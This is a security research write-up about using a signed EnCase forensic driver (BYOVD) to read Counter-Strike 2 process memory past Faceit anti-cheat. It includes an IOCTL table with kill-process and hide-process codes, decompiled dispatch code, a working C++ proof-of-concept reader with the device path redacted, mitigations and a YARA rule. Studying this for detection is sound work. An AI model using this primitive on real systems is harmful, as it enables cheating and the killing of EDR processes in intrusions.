BYOVD Kernel Research Faceit AC Windows Internals

BYOVD against Faceit anticheat:
Abusing a signed forensic driver for Arbitrary Process Memory Read

Ivan Stishenko (x9600h) March 2026 ~15 min read
Table of Contents
  1. Introduction
  2. Faceit Anti-Cheat: The Current Standard
  3. The BYOVD Technique
  4. Finding the Driver
  5. IOCTL Dispatch Analysis
  6. The Memory Read Primitive
  7. Why Faceit Doesn't Detect It
  8. Demonstration
  9. Proof of Concept
  10. Broader Context
  11. Mitigations & Detection
  12. Conclusion

01 / Introduction #

This writeup documents research I completed in March 2026 into bypassing Faceit kernel-mode anti-cheat using the Bring Your Own Vulnerable Driver (BYOVD) technique. The vulnerable driver is a legitimately signed kernel component from the EnCase forensic suite developed by OpenText (formerly Guidance Software). It exposes an arbitrary process memory read primitive through an IOCTL interface with no access control on the calling process.

Using this driver I was able to read the virtual address space of a process protected by Faceit AC without triggering any detection — no handle to the target process opened from user mode, no injected code, the game process left completely untouched. The read happens entirely in kernel mode, through a driver Windows loads without complaint because it carries a valid Authenticode signature.

Disclosure
The driver is on Microsoft's recommended driver block list. Systems with HVCI enabled are not affected. On March 19, 2026 — after I completed this research — Huntress independently documented the same driver being weaponized in enterprise intrusions to kill EDR processes. Same driver, same missing access control, different target.

02 / Faceit Anti-Cheat: The Current Standard #

Faceit AC is widely considered the strongest commercially deployed anti-cheat available right now. Among competitive players and security researchers it sits at the top of the stack — above VAC, above most anything else running on consumer hardware. The reason is architectural: it's a mandatory kernel-mode driver that loads at system boot before the game starts, not a user-mode process that can be manipulated after the fact.

Running at ring-0 from boot means Faceit can register Windows kernel callbacks that user-mode anti-cheat systems simply can't reach:

Handle interception alone makes user-mode cheats non-viable against Faceit. Getting past the full stack requires operating from kernel mode, without a user-mode handle to the game, without loading anything the image load callback flags. BYOVD checks all three boxes.

03 / The BYOVD Technique #

Bring Your Own Vulnerable Driver exploits a gap in how Windows driver signing works. DSE requires that kernel drivers carry a valid Authenticode signature before Windows will load them. What it doesn't require is that signed drivers implement any access control on the operations they expose to user-mode callers.

The attack surface is the ecosystem of signed drivers shipped with hardware utilities, firmware updaters, diagnostic tools, and forensic software. These were written to solve internal technical problems and were never designed to handle adversarial input from an untrusted caller. They often expose kernel operations through IOCTL interfaces where the implicit assumption is that only the vendor's own software will ever be calling.

When no access control exists on that interface, any administrator-level process can load the driver and use it as a kernel-mode proxy. Windows accepts it because the signature is valid. The AC doesn't block it because it's not on a blocklist. And the memory read comes from inside the kernel driver, so Faceit's handle callbacks never see it.

04 / Finding the Driver #

The methodology was static analysis in IDA: enumerate signed third-party kernel drivers, filter by dangerous import combinations, trace those imports through the IOCTL dispatch handler, and check whether caller validation exists. The EnCase driver stood out immediately.

EnCase is a commercial digital forensics platform used by law enforcement and enterprise IR teams. Its kernel component gives the host application deep access to running processes, physical memory, and the live filesystem — exactly what a forensic investigator needs, and exactly what makes it attractive as a BYOVD carrier. The driver is legitimately signed by Guidance Software (now OpenText), widely deployed in enterprise environments, and was absent from the LOLDrivers database at the time of this research.

PropertyValue
VendorOpenText Corporation (formerly Guidance Software)
ProductEnCase Forensic / Enterprise
SignatureValid Authenticode — Guidance Software, Inc.
LOLDriversNot present at time of research
Microsoft block listPresent
HVCIBlocks this driver — not affected

05 / IOCTL Dispatch Analysis #

The main dispatch function GSIIoctl64 handles IOCTL codes through chained comparisons. Reconstructing the full table from IDA reveals the driver's complete capability set. This isn't a driver that accidentally exposes one dangerous operation — it's a comprehensive kernel-mode agent.

IOCTL CodeOperationNotes
0x223058VersionReturns driver version (312)
0x22305CSet EPROCESS OffsetsConfigures PID/FLINK/ImageName offsets
0x223060SysProcInfoEnumerate running process list
0x223064PidNameResolve process name from PID
0x223068PidMemoryRead virtual memory from target PID — used in this research
0x22306CDriverNameEnumerate loaded driver names
0x223070FileHandleEnumerate file handles in target process
0x223074FileHandleNameResolve file handle paths in target process
0x223078FileHandleCountCount file handles in target process
0x22307CHideProcRemove process from system process list
0x223080GetDupPidHandleDuplicate handle from another process
0x223084GetPortNumberRead TCP/IP port information
0x223090Get Pid Dll CountCount loaded DLLs in target process
0x223094Get Pid DllsEnumerate loaded DLLs in target process
0x223098PidTokenSidRead process token SID
0x22309CScan KMEMScan kernel memory
0x2230A0GetVadListEnumerate VAD tree of target process
0x2230A4GetPageDataListRead page data list
0x2230A8OpenPhysicalMemoryOpen \Device\PhysicalMemory section
0x2230ACClosePhysicalMemoryClose physical memory handle
0x2230B0ReadPhysicalMemoryMap physical memory via ZwMapViewOfSection
0x2230B4KillProcTerminate arbitrary process via ZwTerminateProcess
0x2230B8UnhideProcRestore hidden process
0x2230BCGet EPROCESSResolve EPROCESS pointer for PID
0x2230C0DeleteFileDelete file from kernel mode
0x2230C4DeleteServiceRemove a service entry

Every operation in this table is accessible to any caller that can open the device handle. No per-operation access check exists anywhere in the dispatch path.

06 / The Memory Read Primitive #

IOCTL 0x223068 accepts a struct containing a target PID, a virtual address, and a size. The driver attaches to the target process's address space via KeAttachProcess inside sub_16D48 and copies the requested memory range. The relevant dispatch branch from IDA:

// dword_1F128 is a debug verbosity flag — disabled in production builds,
// but the DbgPrint format strings survive as literals in the binary.
// These strings become reliable YARA anchors across all versions.
if ( v4 )
    DbgPrint("DeviceControl-PidMemory\n");

// Minimum input buffer is 0x18 bytes — exactly sizeof(ReadRequest).
// No upper bound check. Passing a larger size is silently accepted.
if ( inputBufferSize >= 0x18 ) {
    // sub_16D48 is where the actual read happens.
    // Argument mapping from the user-supplied ReadRequest struct:
    //   v5->m128i_i64[0]   = TargetPid  (who to read from)
    //   v5->m128i_i64[1]   = Address    (virtual address in target)
    //   v5[1].m128i_i64[0] = Size       (byte count)
    //   v5                 = output buf (driver writes result here)
    //
    // Critically: v5 is both the input and output buffer — the driver
    // overwrites the caller's ReadRequest in-place with the read bytes.
    // The IRP uses METHOD_BUFFERED so the I/O manager handles the copy.
    //
    // No SeAccessCheck. No PsGetCurrentProcess() == target check.
    // No token privilege inspection. Any caller that opens the device
    // handle can read memory from any process on the system.
    v34 = sub_16D48(v3,
        v5->m128i_i64[0],
        v5->m128i_i64[1],
        v5[1].m128i_i64[0],
        v5
    );
    // IoStackLocation+56 is the Information field of the IRP.
    // Setting it to the byte count tells the I/O manager how many
    // bytes to copy back to the user-mode output buffer on completion.
    *(_QWORD *)(irpStack + 56) = v34;
}C (IDA)

There is no SeAccessCheck call, no token inspection, nothing. The input struct:

// #pragma pack(1) is critical — without it the compiler adds padding between
// fields and the driver receives a misaligned struct, silently reading from
// the wrong address. The driver itself doesn't validate alignment.
#pragma pack(push, 1)
struct ReadRequest {
    uint64_t TargetPid;  // EPROCESS is resolved via PsLookupProcessByProcessId
    uint64_t Address;    // virtual address in the target process's VA space
    uint64_t Size;       // byte count — no enforced upper limit in the driver
};
#pragma pack(pop)C++

The full call chain from user-mode to kernel memory read:

User process
Admin rights
→
CreateFileA
open device
→
DeviceIoControl
0x223068 + struct
→
KeAttachProcess
enter target ctx
→
sub_16D48
memcpy, no check

07 / Why Faceit Doesn't Detect It #

ObRegisterCallbacks — not triggered

Faceit's handle callback intercepts OpenProcess calls from user mode that request memory access. This attack never calls OpenProcess on the game process. KeAttachProcess is a kernel-only API that doesn't go through the object manager, so the callback never fires.

PsSetLoadImageNotifyRoutine — driver passes the check

The callback fires when the EnCase driver loads. Faceit checks the hash against its blocklist. The driver wasn't on it. A legitimately signed binary from an enterprise forensics vendor is indistinguishable from a real EnCase installation at the image load level.

No foreign code in the game process

DLL injection and manual mapping leave artifacts — unexpected module list entries, anomalous memory regions. Neither exists here. The game process is completely untouched. Faceit's memory scan finds nothing.

The attacking process is clean

The process issuing the IOCTL doesn't touch the game, doesn't allocate RWX memory, doesn't appear in the game's handle table. It opens a device handle and sends a control code — identical to legitimate EnCase behavior.

Detection LayerMechanismResult
Handle interceptionObRegisterCallbacksNot triggered — no user-mode handle to game
Driver blocklistImage load + hash checkDriver not on list at research time
Module scanEnumerate game process modulesNo foreign modules present
Memory integrityScan for RWX / signaturesGame process untouched
Process monitoringPsSetCreateProcessNotifyRoutineAttacking process appears benign

08 / Demonstration #

The video below shows the read primitive working against a live Faceit session. Faceit AC is active throughout. No detection, no disconnect.

Faceit AC active — kernel memory read via IOCTL 0x223068 — no detection
Faceit AC active — kernel memory read via IOCTL 0x223068 — no detection

09 / Proof of Concept #

The PoC opens the driver device, sends the ReadRequest struct, gets bytes back from the target process's address space. The PEB walk to resolve module bases goes through the same IOCTL — no ReadProcessMemory anywhere in the chain.

#include <windows.h>
#include <winternl.h>
#include <cstdint>
#include <cstdio>

// IOCTL code recovered from GSIIoctl64 dispatch table in IDA.
// METHOD_BUFFERED | FILE_ANY_ACCESS — no access rights required
// beyond being able to open the device handle.
#define IOCTL_READ_VM  0x223068
#define DEVICE_PATH    "\\\\.\\[REDACTED]"

#pragma pack(push, 1)
struct ReadRequest {
    uint64_t TargetPid;
    uint64_t Address;
    uint64_t Size;
};
#pragma pack(pop)

class KernelInterface {
public:
    HANDLE hDevice = INVALID_HANDLE_VALUE;
    DWORD  pid     = 0;

    bool ReadRaw(uint64_t address, void* buf, size_t sz) {
        ReadRequest req = { pid, address, sz };
        DWORD ret;
        // The output buffer and input buffer can overlap because METHOD_BUFFERED
        // means the I/O manager copies in before the driver runs and copies out
        // after. The driver writes into the same IRP system buffer.
        return DeviceIoControl(hDevice, IOCTL_READ_VM,
            &req, sizeof(req), buf, (DWORD)sz, &ret, NULL);
    }

    template<typename T>
    T Read(uint64_t addr) {
        T v{}; ReadRaw(addr, &v, sizeof(T)); return v;
    }

    uint64_t GetModuleBase(DWORD targetPid, const std::wstring& name) {
        // PROCESS_QUERY_LIMITED_INFORMATION is enough to retrieve the PEB address
        // and is not intercepted by Faceit's ObRegisterCallbacks setup —
        // only handle requests with VM_READ/VM_WRITE rights are stripped.
        HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, targetPid);
        if (!h) return 0;
        PROCESS_BASIC_INFORMATION pbi{};
        NtQueryInformationProcess(h, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
        CloseHandle(h);

        // PEB+0x18 = Ldr (pointer to PEB_LDR_DATA).
        // Ldr+0x10 = InLoadOrderModuleList.Flink — head of the doubly-linked
        // list of LDR_DATA_TABLE_ENTRY structs for all loaded modules.
        // All reads from here go through the driver IOCTL — zero ReadProcessMemory.
        uint64_t ldr   = Read<uint64_t>((uint64_t)pbi.PebBaseAddress + 0x18);
        uint64_t head  = ldr + 0x10;
        uint64_t entry = Read<uint64_t>(head);
        for (int i = 0; i < 200 && entry && entry != head; i++) {
            // LDR_DATA_TABLE_ENTRY+0x60 = BaseDllName.Buffer (wide string pointer).
            // LDR_DATA_TABLE_ENTRY+0x30 = DllBase (the module's load address).
            uint64_t namePtr = Read<uint64_t>(entry + 0x60);
            if (namePtr) {
                wchar_t buf[128]{};
                if (ReadRaw(namePtr, buf, 256) && std::wstring(buf) == name)
                    return Read<uint64_t>(entry + 0x30);
            }
            entry = Read<uint64_t>(entry);
        }
        return 0;
    }
};

int main() {
    KernelInterface drv;
    drv.hDevice = CreateFileA(DEVICE_PATH,
        GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING, 0, NULL);
    if (drv.hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open driver device\n");
        return 1;
    }
    // FindWindow gives us a window handle; GetWindowThreadProcessId extracts the PID.
    // Neither call is intercepted by Faceit.
    HWND hwnd = FindWindowA(NULL, "Counter-Strike 2");
    GetWindowThreadProcessId(hwnd, &drv.pid);
    printf("[*] Target PID: %lu\n", drv.pid);

    // PEB walk via driver IOCTL resolves client.dll base — the main game module.
    // All game state (entity list, view matrix, local player) is relative to this.
    uint64_t clientBase = drv.GetModuleBase(drv.pid, L"client.dll");
    printf("[*] client.dll base: 0x%llx\n", clientBase);

    // Reading 8 bytes from the module base verifies the primitive works.
    // A valid PE header starts with 0x5A4D ("MZ") in the low word.
    uint64_t val = drv.Read<uint64_t>(clientBase);
    printf("[+] Read @ base: 0x%llx\n", val);

    CloseHandle(drv.hDevice);
    return 0;
}C++
Redaction
The device path is omitted. The driver is on Microsoft's block list — the IOCTL code and struct layout are the substantive finding.

10 / Broader Context #

On March 19, 2026, Huntress published a writeup documenting the same EnCase driver deployed in enterprise intrusions. In those cases attackers used KillProc (IOCTL 0x2230B4) to terminate Defender, Kaspersky, SentinelOne, and FortiEDR processes before credential dumping and lateral movement. The campaign distributed payloads through malvertising targeting US tax form searches.

The convergence is worth noting. Same driver, same missing access control, applied to two completely different targets: a game anti-cheat and enterprise endpoint detection. BYOVD techniques that originate in anti-cheat bypass research keep showing up later in ransomware toolkits and APT intrusions — the attack surface is identical because the root cause is identical.

Other cases following the same pattern: the Huawei audio driver (HWAuidoOs2Ec.sys) from Huntress the same month; SpyBoy's Terminator tool ($3,000, abused a signed AV driver); BlackByte ransomware with RTCore64.sys; Lazarus Group using Dell's dbutil_2_3.sys. The list keeps growing because the root cause hasn't changed.

11 / Mitigations & Detection #

For Anti-Cheat Developers

For Defenders

YARA

rule BYOVD_EnCase_MemoryPrimitive {
    meta:
        description = "EnCase kernel driver — process memory read and kill IOCTLs without access control"
        author      = "Ivan Stishenko (x9600h)"
        date        = "2026-03"
        reference   = "https://x9600h.github.io/posts/byovd-faceit.html"

    strings:
        // Debug strings from GSIIoctl64 and KillProc — present even in release
        // builds because the compiler doesn't strip DbgPrint format literals.
        // These strings are unique to this driver family across all versions seen.
        $d1 = "DeviceControl-PidMemory"     ascii wide
        $d2 = "DeviceControl-KillProc"      ascii wide
        $d3 = "GSIIoctl64"                  ascii wide
        $d4 = "END64::GetFileHandles2"       ascii wide
        $d5 = "KillProc Beg-devExt"          ascii wide
        $d6 = "TerminateProcess OK on Pid"   ascii wide

        // Kernel imports that confirm the driver can attach to arbitrary
        // processes and terminate them — the dangerous primitive combination.
        $i1 = "KeAttachProcess"              ascii
        $i2 = "ZwTerminateProcess"           ascii
        $i3 = "PsLookupProcessByProcessId"  ascii

    condition:
        // MZ header — confirms this is a PE binary, not a false positive on a log file.
        uint16(0) == 0x5A4D
        // 3 of 6 debug strings avoids false positives while surviving minor
        // build variations where some strings might be optimised out.
        and (3 of ($d*))
        // Both imports must be present — KeAttachProcess alone is not sufficient,
        // many legitimate drivers use it. The combination with ZwTerminateProcess
        // or PsLookupProcessByProcessId narrows the scope significantly.
        and (2 of ($i*))
}YARA

12 / Conclusion #

Faceit is a serious piece of software and it's the strongest commercially deployed anti-cheat for a reason. Its kernel callbacks, handle interception, and memory scanning represent a real barrier to conventional cheating approaches. The problem is that it's built on an assumption that doesn't hold: that controlling what's loaded in the kernel is equivalent to controlling what can read game memory.

A signed driver with an unvalidated IOCTL is a hole that Driver Signature Enforcement can't close. The kernel trusts the certificate. Faceit doesn't block the driver because it's not on the list. The handle callback never fires because the read happens inside a different driver entirely. Each individual protection does exactly what it's supposed to do — and the combination still fails.

HVCI closes this gap at the platform level. Until it's standard everywhere, the signed driver ecosystem will keep producing these. The EnCase driver is on the blocklist now. There are others.

Timeline
Research completed: March 2026  ·  Huntress independent publication (same driver, EDR context): March 19, 2026  ·  Driver on Microsoft block list at time of publication